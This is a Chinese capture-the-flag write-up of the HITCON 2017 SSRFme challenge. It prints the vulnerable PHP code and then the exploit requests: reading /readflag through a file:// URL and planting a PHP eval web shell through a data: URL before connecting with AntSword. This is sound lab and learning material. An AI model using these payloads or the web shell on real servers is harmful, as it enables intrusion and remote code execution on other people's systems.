HITCON2017SSRFME-学习复盘

代码审计

php 复制代码
192.168.122.15 
<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);//用逗号分割多个IP
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];//给第一个IP发送请求
    //在存在有请求头时执行
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);//创建文件夹
    @chdir($sandbox);//移动到该文件夹下

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));//escapeshellarg()它用于安全地将字符串转换为shell命令的参数。这个函数通过在字符串两边添加单引号,并且转义内部所有的单引号,来确保传递给shell函数的字符串不会引起安全问题。提取url给url加上单引号作为命令,perl语言向url发送get请求
    $info = pathinfo($_GET["filename"]);//提取文件路径信息,目录名,后缀
    $dir  = str_replace(".", "", basename($info["dirname"]));//路径的.换为空
    @mkdir($dir);//创建传入的目录
    @chdir($dir);//切换到该目录下
    @file_put_contents(basename($info["basename"]), $data);//将请求结果写入传入的文件里

    highlight_file(__FILE__);

所以我们在请求?url=/&filename=1.php时,会在/sandbox/md5(orange192.168.122.15)/下把url的结果写入文件1.php。

SSRF利用

?url=/&filename=1.php

漏洞点显而易见是在参数url,传入url=/返回上一级目录。读取目录结果在
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/1.php

目录里有个readflag文件
?url=file:///readflag&filename=2.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/2.php

读取到文件是乱码,含有flag的字样,尝试上传一句话木马,连接后再执行该文件。
?url=data:text/plain;'<?php @eval($_POST['123']);?>'&filename=3.php
/sandbox/50d5f583d8a911dde39156ba3f03c3d5/3.php

看到两个引号表示上传成功,用蚁剑连接,在根目录打开终端。
./readflag

得到flag。

参考文章

https://www.cnblogs.com/CAPD/p/17858896.html

相关推荐
sensen_kiss8 分钟前
CAN302 Technologies for E-Commerce 电子商务技术 Pt.6 市场营销与SEO(搜索引擎优化)
android·学习·搜索引擎
我的xiaodoujiao10 分钟前
API 接口自动化测试详细图文教程学习系列9--Requests模块
python·学习·测试工具·pytest
乐园游梦记12 分钟前
机器学习:监督学习与无监督学习由浅入深全解析
人工智能·深度学习·学习·机器学习
woai336418 分钟前
JVM学习-基础篇-常见引用
jvm·学习
世人万千丶24 分钟前
Flutter 框架跨平台鸿蒙开发 - 家庭健康档案云应用
学习·flutter·华为·开源·harmonyos·鸿蒙
東雪木32 分钟前
Java学习——泛型基础:泛型的核心作用、泛型类 / 方法 / 接口的定义
java·学习·java面试
東雪木43 分钟前
Java学习——内部类(成员内部类、静态内部类、局部内部类、匿名内部类)的用法与底层实现
java·开发语言·学习·java面试
AI_零食44 分钟前
二十四节气物候现象速览卡片:鸿蒙Flutter框架 实现的传统文化应用
学习·flutter·华为·开源·harmonyos·鸿蒙
浮芷.1 小时前
Flutter 框架跨平台鸿蒙开发 - 智能厨房配菜助手应用
学习·flutter·华为·harmonyos·鸿蒙
fengci.1 小时前
php反序列化(复习)(第三章)
android·开发语言·学习·php